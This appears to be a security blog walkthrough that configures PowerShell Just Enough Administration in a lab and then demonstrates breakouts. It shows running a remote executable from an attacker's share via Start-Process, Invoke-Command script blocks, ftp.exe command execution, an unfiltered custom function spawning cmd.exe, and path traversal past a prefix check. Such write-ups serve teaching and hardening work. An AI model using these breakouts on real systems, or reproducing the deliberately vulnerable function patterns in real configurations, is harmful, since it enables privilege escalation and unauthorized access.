Just Enough Administration (JEA)

Just Enough Administration (JEA) allows administrators to restrict which PowerShell cmdlets, functions and commands can be run. Typically, this is used in conjunction with PowerShell Remoting to provide limited access to administrators. JEA runs powershell in NoLanguage Mode by default. This mode has the following restrictions.

  • You cannot define functions, classes, or variables.
  • You cannot use script blocks, loops (foreach, while), conditionals (if), or other scripting language constructs.
  • Only approved cmdlets/functions/aliases are allowed.

JEA Configuration

The following steps can be used to configure JEA.


Create a Group

First, create a group that we will assign the JEA role to, and add a user to the group. A group isn’t required, but makes administration easier.

PS C:\Users\Administrator> New-ADGroup -Name "helpdesk" -GroupScope global
PS C:\Users\Administrator> Add-ADGroupMember -Identity "helpdesk" -Members "alice"

Create a Role Capability File

Next create a role capability file. This file dictates what actions the user will be allowed to perform.

PS C:\Users\Administrator> New-Item -Path 'C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\RoleCapabilities' -ItemType Directory
    Directory: C:\Program Files\WindowsPowerShell\Modules

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        14/08/2025     16:39                MyJEAModule

PS C:\Users\Administrator> New-Item -Path 'C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\RoleCapabilities\HelpDeskRole.psrc' -ItemType File
    Directory: C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\RoleCapabilities

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        14/08/2025     16:39              0 HelpDeskRole.psrc

Add a configuration to specify which actions the user can perform.

@{
    VisibleCmdlets      = 'Get-Service', 'Restart-Service'
    VisibleFunctions    = 'MyCustomFunction'
    VisibleAliases      = 'gs'
    VisibleExternalCommands = 'ping.exe'
}

Create a Session Configuration File

Next create a session configuration file to bind the role capability file to our group.

PS C:\Users\Administrator> New-PSSessionConfigurationFile -Path 'C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\HelpDesk.pssc' -SessionType RestrictedRemoteServer -RunAsVirtualAccount:$true -RoleDefinitions @{ 'bordergate\helpdesk' = @{ RoleCapabilities = 'HelpDeskRole' } }

Register the Session

Register the session configuration.

PS C:\Users\Administrator> Register-PSSessionConfiguration -Name MyJEASession -Path 'C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\HelpDesk.pssc' -Force


   WSManConfig: Microsoft.WSMan.Management\WSMan::localhost\Plugin

Type            Keys                                Name
----            ----                                ----
Container       {Name=MyJEASession}                 MyJEASession

Connect to the Session

Connect to the session specifying the session name (in this case MyJEASession). Without specifying the session name, the user will be denied access to the host.

PS C:\Users\alice.BORDERGATE> Enter-PSSession -ComputerName DC01.bordergate.local -ConfigurationName MyJEASession -Credential BORDERGATE\alice
[DC01.bordergate.local]: PS>Get-Command

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Clear-Host
Function        Exit-PSSession
Function        Get-Command
Function        Get-FormatData
Function        Get-Help
Function        Measure-Object
Function        Out-Default
Function        Select-Object
Cmdlet          Get-Service                                        3.0.0.0    Microsoft.PowerShell.Management
Cmdlet          Restart-Service                                    3.0.0.0    Microsoft.PowerShell.Management

Note, the user is only able to execute a limited number of commands.


Determining Configuration Names

As far as I know, it’s not possible to remotely determine the configuration names available on a system. An adversary would need this information to connect to a remote JEA session.

It stands to reason that if a configuration exists on one host in the environment, it might work on other systems.

There are a couple of ways it might be possible to determine the name. Firstly, if you have local administrator access to a host you can use Get-PSSessionConfiguration cmdlet to show local configurations.

PS C:\Users\Administrator> Get-PSSessionConfiguration


Name          : microsoft.powershell
PSVersion     : 5.1
StartupScript :
RunAsUser     :
Permission    : NT AUTHORITY\INTERACTIVE AccessAllowed, BUILTIN\Administrators AccessAllowed, BUILTIN\Remote Management Users
                AccessAllowed

Name          : microsoft.powershell.workflow
PSVersion     : 5.1
StartupScript :
RunAsUser     :
Permission    : BUILTIN\Administrators AccessAllowed, BUILTIN\Remote Management Users AccessAllowed

Name          : microsoft.powershell32
PSVersion     : 5.1
StartupScript :
RunAsUser     :
Permission    : NT AUTHORITY\INTERACTIVE AccessAllowed, BUILTIN\Administrators AccessAllowed, BUILTIN\Remote Management Users
                AccessAllowed

Name          : microsoft.windows.servermanagerworkflows
PSVersion     : 3.0
StartupScript :
RunAsUser     :
Permission    : NT AUTHORITY\INTERACTIVE AccessAllowed, BUILTIN\Administrators AccessAllowed

Name          : MyJEASession
PSVersion     : 5.1
StartupScript :
RunAsUser     :
Permission    : BORDERGATE\helpdesk AccessAllowed

You might also be able to read the configuration file on the local system as a standard user.

PS C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\RoleCapabilities> type .\HelpDeskRole.psrc
@{
    VisibleCmdlets      = 'Get-Service', 'Restart-Service'
    VisibleFunctions    = 'MyCustomFunction'
    VisibleAliases      = 'gs'
    VisibleExternalCommands = 'ping.exe'
}

Another way is to review a users PowerShell command history.

PS C:\Users\alice.BORDERGATE> cd $Env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine
PS C:\Users\alice.BORDERGATE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine>
PS C:\Users\alice.BORDERGATE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> Get-Content .\ConsoleHost_history.txt | Select-String -Pattern "ConfigurationName"

Enter-PSSession -ComputerName DC01.bordergate.local -ConfigurationName MyJEASession -Credential BORDERGATE\alice

Connecting from Linux

Typically I use evil-winrm to connect to PSRemoting sessions from Linux. Unfortunately, this does not allow you to specify a JEA configuration name. In addition, although it’s possible to install PowerShell on Linux, connections won’t be successful due to the lack of the WSMan client.

┌──(kali㉿kali)-[/home/kali]
└─PS> Enter-PSSession -ComputerName 192.168.1.205 -ConfigurationName MyJEASession -Credential BORDERGATE\alice

PowerShell credential request
Enter your credentials.
Password for user BORDERGATE\alice: *********

Enter-PSSession: This parameter set requires WSMan, and no supported WSMan client library was found. WSMan is either not installed or unavailable for this system.

To connect from a Linux host, you can enable SSH as a transport on the server side – but this does not support custom JEA configuration names. TLDR; you are better off just using Windows to connect to JEA PSRemoting endpoints.


Exploiting Dangerous Commands

The Get-Command cmdlet can be used to determine what functions, commands and applications we can run.

[DC01.bordergate.local]: PS>Get-Command -CommandType Function

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Run-MyCommand                                      0.0        MyCommand


[DC01.bordergate.local]: PS>Get-Command -CommandType Application

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Application     ftp.exe                                            10.0.26... C:\WINDOWS\system32\ftp.exe
Application     whoami.exe                                         10.0.26... C:\WINDOWS\system32\whoami.exe

[DC01.bordergate.local]: PS>Get-Command

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Run-MyCommand                                      0.0        MyCommand
Cmdlet          Exit-PSSession                                     3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Get-Command                                        3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Get-FormatData                                     3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet          Get-Help                                           3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Get-ItemProperty                                   3.1.0.0    Microsoft.PowerShell.Management
Cmdlet          Invoke-Command                                     3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Measure-Object                                     3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet          Out-Default                                        3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Out-File                                           3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet          Select-Object                                      3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet          Set-ItemProperty                                   3.1.0.0    Microsoft.PowerShell.Management
Cmdlet          Set-Variable                                       3.1.0.0    Microsoft.PowerShell.Utility

There are a number of cmdlets that may allow for code execution depending on the configuration, including the following.

Invoke-Command
New-ScheduledTask
Start-Process
New-Service
Invoke-Item
Invoke-WMIMethod

Some of these are trivial to exploit. For instance, Start-Process can just be used to run arbitrary executables on a network share.

Start-Process -FilePath '\\kali\share\malware.exe'

In addition to these, general administration commands might allow for elevation of privileges.

Add-ADGroupMember
Add-LocalGroupMember
net.exe

In the next example, we’re going to be looking at exploiting the Invoke-Command cmdlet.

If the SessionType is set to default we are able to execute script blocks.

New-PSSessionConfigurationFile -Path 'C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\HelpDesk.pssc'  -RunAsVirtualAccount:$false -SessionType Default -RoleDefinitions @{ 'bordergate\helpdesk' = @{ RoleCapabilities = 'HelpDeskRole' } }
Register-PSSessionConfiguration -Name MyJEASession -Path 'C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\HelpDesk.pssc' -Force

In the default SessionType, we will need to explicitly define commands required the basic shell operation.

SessionTypeDescriptionLanguage ModeUse Case
DefaultFull PowerShell sessionFullLanguageFull admin access
RestrictedRemoteServerDefault JEA mode with command restrictionsConstrainedLanguageTypical JEA session for role-based use
EmptyMinimal, stripped-down sessionConstrainedLanguageFully custom JEA endpoints
@{
    VisibleCmdlets      = 
    'Invoke-Command', 
    'Get-Command',
    'Measure-Object',
    'Select-Object',
    'Out-Default',
    'Exit-PSSession',
    'Get-Command',
    'Get-FormatData',
    'Get-Help',
    'Set-Variable'

    VisibleFunctions    = 'MyCustomFunction'
    VisibleAliases      = 'gs'
    VisibleExternalCommands = 'ping.exe'
}

Running the following .NET code determines, firstly the session type must be default (since the code runs) and secondly, that RunAsVirtualAccount is disabled since we’re getting a username back.

[DC01.bordergate.local]: P> [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
BORDERGATE\alice

RunAsVirtualAccount determines whether the PowerShell session for incoming connections will be run using a virtual account or not. When set to $true, a temporary, virtual account is created on the fly when a remote user connects to the endpoint, granting limited permissions.

[DC01.bordergate.local]: PS>whoami
winrm virtual users\winrm va_1_bordergate_alice

With these settings in place, we can use the Invoke-Command cmdlet to execute commands that should otherwise be prohibited.

[DC01.bordergate.local]: PS>dir C:\
The term 'dir' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the
spelling of the name, or if a path was included, verify that the path is correct and try again.
    + CategoryInfo          : ObjectNotFound: (dir:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

[DC01.bordergate.local]: PS>Get-Command

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Exit-PSSession                                     3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Get-Command                                        3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Get-FormatData                                     3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet          Get-Help                                           3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Invoke-Command                                     3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Measure-Object                                     3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet          Out-Default                                        3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Select-Object                                      3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet          Set-Variable                                       3.1.0.0    Microsoft.PowerShell.Utility

[DC01.bordergate.local]: PS>Invoke-Command -ScriptBlock {dir C:\}


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        08/08/2025     16:25                inetpub
d-----        01/04/2024     08:02                PerfLogs
d-r---        23/05/2025     09:56                Program Files
d-r---        01/04/2024     09:15                Program Files (x86)
d-r---        14/08/2025     16:38                Users
d-----        08/08/2025     16:27                Windows



LOLBAS

Some Windows commands allow for command execution based on arguments passed to the programs. The LOLBAS project tracks binaries that can be used for this purpose. For instance, if the ftp command is allowed we can use that to execute arbitrary commands.

[DC01.bordergate.local]: PS>Get-Command -CommandType Application

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Application     ftp.exe                                            10.0.26... C:\WINDOWS\system32\ftp.exe
Application     whoami.exe                                         10.0.26... C:\WINDOWS\system32\whoami.exe

[DC01.bordergate.local]: P> "!cmd /c c:\windows\system32\cmd.exe /c dir C:\" | Out-File -Encoding ASCII -FilePath ftpcommands.txt
[DC01.bordergate.local]: PS>ftp -s:ftpcommands.txt
!cmd /c c:\windows\system32\cmd.exe /c dir C:\
 Volume in drive C has no label.
 Volume Serial Number is CCE4-8243

 Directory of C:\

08/08/2025  16:25    <DIR>          inetpub
01/04/2024  08:02    <DIR>          PerfLogs
23/05/2025  09:56    <DIR>          Program Files
01/04/2024  09:15    <DIR>          Program Files (x86)
14/08/2025  16:38    <DIR>          Users
18/08/2025  11:18    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)  53,571,657,728 bytes free
[DC01.bordergate.local]: PS>

Exploiting Custom Functions

PowerShell commands can be created that allow for custom administration tasks. If these don’t filter user input, they could be used to break out of JEA restrictions. For instance, we create the custom function Run-MyCommand.

function Run-MyCommand {
    param (
        [string]$ToolPath
    )

    & $ToolPath
}

Save the function to C:\Program Files\WindowsPowerShell\Modules\MyCommand\MyCommand.psm1.

Allow the JEA configuration (C:\Program Files\WindowsPowerShell\Modules\MyJEAModule\RoleCapabilities\HelpDeskRole.psrc) to use the function.

@{
     ModulesToImport = @('MyCommand')
     VisibleFunctions    = 'Run-MyCommand'
}

We can exploit the function by supplying an arbitrary executable name to the ToolPath argument.

PS C:\Users\alice.BORDERGATE> Enter-PSSession -ComputerName DC01.bordergate.local -ConfigurationName MyJEASession
WARNING: The names of some imported commands from the module 'MyCommand' include unapproved verbs that might make them less discoverable. To find the commands with unapproved verbs, run the Import-Module
command again with the Verbose parameter. For a list of approved verbs, type Get-Verb.
[DC01.bordergate.local]: P> Run-MyCommand -ToolPath "C:\Windows\System32\cmd.exe"
Microsoft Windows [Version 10.0.26100.4652]
(c) Microsoft Corporation. All rights reserved.

C:\Users\alice\Documents>

Path Traversal

A JEA profile might be configured to only allow access to certain parts of the file system (such as web server directories).

Function Get-ChildItem-Vulnerable {
    param (
        [string]$Path
    )

    $AllowedBaseDir = "C:\inetpub"

    if ($Path -like "$AllowedBaseDir*") {
        return Get-ChildItem -Path $Path
    } else {
        Write-Error "Path is outside the allowed directory!"
    }
}

We can use classic path traversal to bypass the allowed base directory check.

[DC01.bordergate.local]: PS>Get-ChildItem-Vulnerable "C:\inetpub\"


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        08/08/2025     16:25                inetpub
d-----        01/04/2024     08:02                PerfLogs
d-r---        23/05/2025     09:56                Program Files
d-r---        01/04/2024     09:15                Program Files (x86)
d-r---        14/08/2025     16:38                Users
d-----        18/08/2025     11:18                Windows

[DC01.bordergate.local]: PS>Get-ChildItem-Vulnerable "C:\"
Get-ChildItem-Vulnerable : Path is outside the allowed directory!
    + CategoryInfo          : NotSpecified: (:) [Write-Error], WriteErrorException
    + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Get-ChildItem-Vulnerable

[DC01.bordergate.local]: PS>Get-ChildItem-Vulnerable "C:\inetpub\..\..\Users\"


    Directory: C:\Users


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        23/05/2025     09:53                Administrator
d-----        14/08/2025     16:38                alice
d-r---        23/05/2025     09:53                Public

In Conclusion

Like any whitelisting system, JEA is only as strong as its configuration. If an administrator makes mistakes or oversights when defining what is allowed, it can be possible for an attacker to:

  • Bypass restrictions,
  • Escalate privileges,
  • Or gain full system access.